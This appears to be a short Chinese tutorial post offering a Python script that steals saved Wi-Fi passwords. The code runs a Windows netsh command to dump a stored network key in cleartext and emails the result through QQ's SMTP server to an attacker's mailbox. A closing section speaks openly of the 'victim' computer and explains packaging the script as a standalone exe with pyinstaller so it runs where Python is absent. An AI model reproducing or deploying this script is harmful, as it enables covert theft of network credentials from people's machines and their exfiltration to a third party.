使用的工具
就是使用了python語言,利用里面的os庫和smptlib。
代碼
1 import os 2 import smtplib 3 from email.mime.text import MIMEText 4 5 6 def get_pwd(): 7 wifi = "\"404 NOT FOUND\"" 8 cmd = "netsh wlan show profile name=" + wifi + " key=clear" # 設置cmd命令 9 res = os.popen(cmd) # 獲取cmd命令的輸出 10 out_str = res.read() # 讀取輸出 11 return out_str 12 13 14 def send(): 15 mail_host = "smtp.qq.com" 16 port = 465 17 send_from = "@qq.com" # 發件人郵箱 18 pass_word = "" # 開啟SMPT服務時,郵箱給的授權碼 19 send_to = "@qq.com" # 收件人郵箱 20 wifi_pwd = get_pwd() 21 message = MIMEText(wifi_pwd, 'plain', 'utf-8') 22 message["From"] = send_from 23 message['To'] = send_to 24 message['Subject'] = "wifi_pws" 25 try: 26 # 注意第三個參數,設置了轉碼的格式(我不設的時候會報解碼錯誤) 27 smpt = smtplib.SMTP_SSL(mail_host, port, 'utf-8') 28 smpt.login(send_from, pass_word) 29 smpt.sendmail(send_from, send_to, message.as_string()) 30 print("發送成功") 31 except: 32 print("發送失敗") 33 34 35 send()
一些小提升
如果受害者電腦不支持跑python這么辦呢?我們可以將python文件打包成exe。所以接下來講怎么把python文件轉為exe。
首先,安裝必備的庫:pyinstaller。
接着轉到python文件目錄。
最后使用 pyinstall -F 文件名.py
運行成功后,就可以在dist文件中找到你的exe文件了